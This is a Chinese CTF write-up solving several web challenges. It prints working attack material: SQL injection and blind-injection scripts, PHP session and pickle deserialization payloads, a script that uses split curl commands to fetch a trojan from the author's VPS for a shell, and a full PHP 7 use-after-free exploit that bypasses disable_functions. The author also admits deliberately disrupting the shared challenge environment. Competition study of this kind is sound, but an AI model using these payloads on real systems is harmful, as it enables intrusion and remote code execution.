20多所高校联合出题抗“疫”的比赛,排面也是可以的,来感受一下优秀高校的熏陶。🧐
DAY 1 看队友师傅们分享的文章,磕磕碰碰总算也做出了几题
sqlcheckin 考察sql注入
解题 进入题目,可以直接看源码:
<?php $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;' , 'xxx' , 'xxx' ); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'" ); $stmt->execute(); $result = $stmt->fetchAll(); if (count($result) > 0 ) { if ($result[0 ]['username' ] == 'admin' ) { include ('flag.php' ); exit ();
发现又是用的PDO
,前段时间刷题,还有赛题都出现了,这怕是一种趋势。
不过这题不难,尝试了一下,一般的万能密码是不好用了,因为or
被ban了,但是通过读代码很容易能发现password
处存在注入,or
不能用了,但是利用减号可以构造一个password=false
的语句,这样就不在判断password
了,最后利用 admin/1'-'1
登录即可拿到flag。
hackme 考察PHP session
的反序列化漏洞,主要利用了session.serialize_handler
序列化和反序列化采用PHP
而导致的漏洞。
题目分析 进入题目,首先登录上发现可以更改sign
,应该与管理员权限有关。但是抓包也看不出可利用的点。
然后就扫了后台,真的存在源码!在/www.zip
路径下,下载之后又是一番代码审计,在profile.php
发现了问题:
<?php error_reporting(0 ); session_save_path('session' ); include 'lib.php' ;ini_set('session.serialize_handler' , 'php' ); session_start(); class info { public $admin; public $sign; public function __construct () { $this ->admin = $_SESSION['admin' ]; $this ->sign = $_SESSION['sign' ]; } public function __destruct () { echo $this ->sign; if ($this ->admin === 1 ) { redirect('./core/index.php' ); } } } $a = new info(); ?>
可以看到,这里session.serialize_handler
用的是PHP
,而init.php
中处理器的设置是php_serialize
这样就可以参考前面提到的PHP session
的漏洞了。 再往下审计发现这里定义了info
类,其中有admin
和sign
属性,并且__destruct()
中指明如果admin===1
就会定向到/core/index.php
,这是个什么文件?去看一下:
<?php require_once ('./init.php' );error_reporting(0 ); if (check_session($_SESSION)) { } else { die ('只有管理员才能看到我哟' ); }
此处无银三百两了,解题的关键肯定在这,但是这个地方会对$_SESSION
进行检查,它又包含什么呢? 在upload_sign.php
下发现了内容:
<?php require_once ('init.php' );class upload_sign { public $sign; public $admin = 0 ; public function __construct () { if (isset ($_POST['sign' ])) { $this ->sign = $_POST['sign' ]; } else { $this ->sign = "这里空空如也哦" ; } } public function upload () { if ($this ->checksign($this ->sign)) { $_SESSION['sign' ] = $this ->sign; $_SESSION['admin' ] = $this ->admin; } else { echo "???" ; } } public function checksign ($sign) { return true ; } } $a = new upload_sign(); $a->upload();
可以看到,在这里会对$_SESSION
中的admin
和sign
属性赋值,从这里我们也就可以对session
中的admin
进行控制了,参考这里 ,即在设置sign
的页面POST一个键值对,并且变量名与session.upload_progress.name
相同,即可在session
中写入新的内容。
根据这个思路,我们构造payload:
ggb0n |O :4 :"info" :2 :{s :5 :"admin" ;i :1 ;s :4 :"sign" ;s :0 :"" ;}
在修改sign
的页面抓包,写入payload:
结果成功设置签名:
现在就是admin权限了,到/core/
下发现如下代码:
./sandbox/ed04d2f141bd8a57cc5732b0ccf32456 <?php require_once ('./init.php' );error_reporting(0 ); if (check_session($_SESSION)) { $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR' ]); echo $sandbox; @mkdir($sandbox); @chdir($sandbox); if (isset ($_POST['url' ])) { $url = $_POST['url' ]; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' , $url)) { echo "you are hacker" ; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/' , $res['host' ])) { $code = file_get_contents($url); if (strlen($code) <= 4 ) { @exec($code); } else { echo "try again" ; } } } } else { echo "invalid url" ; } } else { highlight_file(__FILE__ ); } } else { die ('只有管理员才能看到我哟' ); }
可以发现,我们需要利用url
进行命令执行,并且data://
被ban了,这里想到了ByteCTF一道题的绕过姿势,先放这,url中需要有127.0.0.1
才能进一步执行命令,可以参考如何绕过URL限制 这篇文章,这里用@
来绕过,然后利用compress.zlib://
来满足file_get_contents
函数的读取,成功过一卡。
正入万山圈子里啊…还要要求执行的命令长度不能超过4…想到了HITCON的一道题,绕过四字符限制getshell ,也就是通过把命令拆解成四字符一组来执行命令。
利用命令的执行到VPS上下载木马,然后我们就能拿到shell了!
理一下解题思路
1、利用PHP session的反序列化漏洞成为admin,读取/core/index.php
关键代码
2、利用URL绕过姿势绕过对url的限制
3、利用compress.zlib:
进行file_get_contents
对文件的读取
4、绕过四字符限制getshell
解题 关于解题的第四步还是要好好说一下的,为了下载木马,我把自己的博客都删了…
因为是用curl
命令来到VPS上读取木马的代码,因此在VPS上配置好木马文件很重要,做题的时候这里就卡了很久,这一步也需要在本地好好测试,保证木马文件能成功访问。
在VPS上配置好木马文件之后,就可以通过url传参通过四字符执行命令来下载木马,然后浏览器拿shell了。
完整的解题脚本如下:
import requestsfrom time import sleepfrom urllib import quoteimport base64s = requests.session() url = "http://121.36.222.22:88/login.php" s.post(url, data={'name' :'ggb0n' }) url1 = "http://121.36.222.22:88/?page=upload" s.post(url1, data={'sign' :'ggb0n|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}' }) url3 = "http://121.36.222.22:88/core/index.php" s.get(url3) ip = 'xx.xx.xx.xx' ip = '0x' + '' .join([str(hex(int(i))[2 :].zfill(2 )) for i in shell_ip.split('.' )]) payload = [ '>dir' , '>sl' , '>g\>' , '>ht-' , '*>v' , '>rev' , '*v>x' , '>p\ ' , '>ph\\' , '>a.\\' , '>\>\\' , '>%s\\' % ip[8 :10 ], '>%s\\' % ip[6 :8 ], '>%s\\' % ip[4 :6 ], '>%s\\' % ip[2 :4 ], '>%s\\' % ip[0 :2 ], '>\ \\' , '>rl\\' , '>cu\\' , 'sh x' , 'sh g' , ] payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}' r = requests.get(url3) for i in payload: r = requests.post(url3,data={"url" :payload_all.format(base64.b64encode(i))}) print r.text print(data['url' ]) sleep(0.5 )
下载木马之后,浏览器拿shell:
整理一下参考的文章:https://www.cnblogs.com/hf99/p/9746038.html https://xz.aliyun.com/t/6640#toc-10 https://www.anquanke.com/post/id/87203
webtmp 考察pickle的反序列化利用
题目分析 进入题目
可以读源码:
import base64import ioimport sysimport picklefrom flask import Flask, Response, render_template, requestimport secretapp = Flask(__name__) class Animal : def __init__ (self, name, category) : self.name = name self.category = category def __repr__ (self) : return f'Animal(name={self.name!r} , category={self.category!r} )' def __eq__ (self, other) : return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler (pickle.Unpickler) : def find_class (self, module, name) : if module == '__main__' : return getattr(sys.modules['__main__' ], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads (s) : return RestrictedUnpickler(io.BytesIO(s)).load() def read (filename, encoding='utf-8' ) : with open(filename, 'r' , encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index () : if request.args.get('source' ): return Response(read(__file__), mimetype='text/plain' ) if request.method == 'POST' : try : pickle_data = request.form.get('data' ) if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else : result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(secret.name, secret.category)) return render_template('unpickle_result.html' , result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('一给我哩giaogiao' , 'Giao' ) pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html' , sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
基于flask的环境,并且采用了pickle
结合题目描述:
Sample animal: Animal(name=’一给我哩giaogiao’, category=’Giao’)
Pickled data: gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gUAAAA5LiA57uZ5oiR5ZOpZ2lhb2dpYW9xBFgIAAAAY2F0ZWdvcnlxBVgEAAAAR2lhb3EGdWIu
I will give you the flag if we share the same animal as our favourite.
可知,我们需要构造一个与题目secret
中一样的Animal
类才能拿到flag,命令执行是不能的,因为R
被ban了,我们又不可能知道secret中Animal
的属性值。
但是从这篇文章 得到了提示:存在b
这个指令(call __setstate__ or__dict__.update()),可以更新字典,这样的话我们就可以先覆盖secret
中原有的值,然后写入我们构造的键值对到字典中,这样我们就可以再构造Animal
类满足题目要求,成功拿到flag了。
参考上面那篇文章的指令集,构造了如下的序列化指令:
c__main__\nsecret\np0\n(dp1\nS'category'\np2\nS'ggb0n'\np3\nsS'name'\np4\nS'ggb0n'\np5\nsb.
注意这里的\n
换行符,也是一个巨坑…刚开始在Windows下构造的payload的base64之后提交反馈Somethin wrong
,后来经师傅提示说pickle对换行符的\r
不能识别…涨知识…
两种方法:
1、字符串对象.replaceAll("\r", "");
2、到Linux中去加密
选择了去Linux中加密:
>>> import base64>>> s = "c__main__\nsecret\np0\n(dp1\nS'category'\np2\nS'ggb0n'\np3\nsS'name'\np4\nS'ggb0n'\np5\nsb." >>> a = base64.b64encode(s)>>> a'Y19fbWFpbl9fCnNlY3JldApwMAooZHAxClMnY2F0ZWdvcnknCnAyClMnZ2diMG4nCnAzCnNTJ25hbWUnCnA0ClMnZ2diMG4nCnA1CnNiLg=='
然后在本地生成个Animal对象:
import pickleimport base64class Animal : def __init__ (self, name, category) : self.name = name self.category = category def __repr__ (self) : return "Animal" def __eq__ (self, other) : return type(other) is Animal and self.name == other.name and self.category == other.category if __name__ == '__main__' : a = Animal('ggb0n' ,'ggb0n' ) print(base64.b64encode(pickle.dumps(a)))
现将第一个payload的base64通过输入框提交反序列化执行覆盖字典,然后再提交我们构造的Animal对象的base64,即可拿到flag:
参考文章:https://www.anquanke.com/post/id/188981#h3-8 http://blog.nsfocus.net/%e7%bb%95%e8%bf%87-restrictedunpickler/
PHP-UAF 考察functions_disable
的绕过,上次I春秋公益赛easy_thinking
刚遇到的知识点,前两天在CTFHub上也在刷这方面的题。
题目分析 进入题目直接给了小马:
<?php $sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR' ]); @mkdir($sandbox); @chdir($sandbox); if (isset ($_REQUEST['cmd' ])) { @eval ($_REQUEST['cmd' ]); } highlight_file(__FILE__ );
先看一下phpinfo
:
是PHP 7版本的,有一个bypass代码可以用,在这里 。
然后看一下functions_disable
果然ban掉了很多函数:
那么思路就有了:
1、蚁剑连接,上传bypass脚本
2、浏览器访问,获取shell
解题 将如下的bypass脚本上传(上次的bypass脚本用不了…):
<?php pwn("uname -a" ); function pwn ($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct () { global $backtrace; unset ($this ->a); $backtrace = (new Exception )->getTrace(); if (!isset ($backtrace[1 ]['args' ])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= chr($ptr & 0xff ); $ptr >>= 8 ; } return $out; } function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff ); $v >>= 8 ; } } function leak ($addr, $p = 0 , $s = 8 ) { global $abc, $helper; write($abc, 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } function parse_elf ($base) { $e_type = leak($base, 0x10 , 2 ); $e_phoff = leak($base, 0x20 ); $e_phentsize = leak($base, 0x36 , 2 ); $e_phnum = leak($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0 , 4 ); $p_flags = leak($header, 4 , 4 ); $p_vaddr = leak($header, 0x10 ); $p_memsz = leak($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs ($base, $elf) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = leak($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } function get_system ($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg) { $arg = str_shuffle(str_repeat('A' , 79 )); $vuln = new Vuln(); $vuln->a = $arg; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A' , 79 )); trigger_uaf('x' ); $abc = $backtrace[1 ]['args' ][0 ]; $helper = new Helper; $helper->b = function ($x) { }; if (strlen($abc) == 79 || strlen($abc) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc, 0 ); $php_heap = str2ptr($abc, 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc, 0x60 , 2 ); write($abc, 0x70 , 6 ); write($abc, 0x10 , $abc_addr + 0x60 ); write($abc, 0x18 , 0xa ); $closure_obj = str2ptr($abc, 0x20 ); $binary_leak = leak($closure_handlers, 8 ); if (!($base = get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20 , $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38 , 1 , 4 ); write($abc, 0xd0 + 0x68 , $zif_system); ($helper->b)($cmd); exit (); } ?>
但是web目录没有上传权限…这时候发现web目录下存在sandbox
文件夹,这里可以上传,nice!
然后到浏览器访问/sandbox/bypass7x.php
,但是一直不能访问…
但是我们有小马呢,用小马包含一下试试
?cmd =include("sandbox/bypass7x.php" );
发现成功执行:
然后我们那执行的命令改为/readflag
,即可拿到flag:
这题的最后不得不说…搅屎真爽,不过有点可耻。
DAY 2 剩下的题目都是高难度了,就出了半个题…
nweb 考察sql盲注+伪造mysql-server实现任意文件读取,这次是真心体会到,以后盲注脚本还是用ascii码吧,坚决不用字母表了…
题目分析 进入题目,发现可以注册登录,登陆上之后flag页面访问无权限,在评论区看到了如下的提示:
猜测注册账户的时候可能存在问题,重新注册,抓包发现存在type
参数,并且被置为0
:
那这个参数应该就是与等级有关了,后来在注册页面看到提示:
再次抓包更改type=110
,登录再次访问flag页,发现可以搜索flag了:
搜索的页面是search.php
,注入点肯定就是在这个页面了,参数是flag
,经过FUZZ发现,union
被ban,select
、from
需要双写绕过,查看搜索的回显发现,语句错误反馈There is no flag
,语句正确反馈There is flag!
肯定是盲注了,拿上次I春秋战“疫”赛的盲注脚本改了一下:
import requestsurl = 'http://121.37.179.47:1001/search.php' headers = {"Cookie" : "PHPSESSID=b2olm04l72i9v25s1orvb28253; username=8837cc3dd80b62a3b5bab3ff2dc91469" } payload = "-1' or (ascii(mid((selselectect * frfromom fl4g),{0},1))={1})#" database = '' for i in range(1 , 80 ): for n in range(30 ,127 ): data = { "flag" : payload.format(i, n), } req = requests.post(url, data=data,headers=headers) if "There is flag" in req.text: database += chr(n) print(database) break
mysql不区分大小写,就是说如果a不存在,会用A去匹配a…写盲注脚本,如果用字母表的话,这就是个巨坑!还是用ascii码靠谱,不过ascii会匹配较多的字符,爆破速度有时候会很慢,可能因为很多字符请求让服务器500导致的…这一点跑脚本的时候改了半天…还是tcl
跑出库名:ctf-2
表名:admin
、fl4g
、jd
、user
直接到fl4g
表跑flag,跑了几次都没有跑出完整的flag:
后来经队友提示,flag可能是分开存放的,数据库可能只有部分flag。于是想到还有admin
表可以去查管理员密码,用脚本跑出密码e2ecea8b80a96fb07f43a2f83c8b0960
,md5解密一下得到whoamiadmin
,拿去用admin/whoamiadmin
登录却说用户名或密码错误…半天都不行…睡了睡了
DAY3醒来发现flag已经被队友交了,密码就是那个,应该是环境出问题了…那么再来学习一下。
管理员登录之后:
根据前半部分flag,想到是mysql蜜罐任意读取文件
参考这里 ,参考github上大师傅写的脚本 ,放在VPS上监听,然后在浏览器填入VPS地址和端口,利用构造的mysql蜜罐进行任意文件读取flag.php
,就能拿到完整的flag了。
赛题环境没了,暂时没法复现了,知道原理,回头再试吧。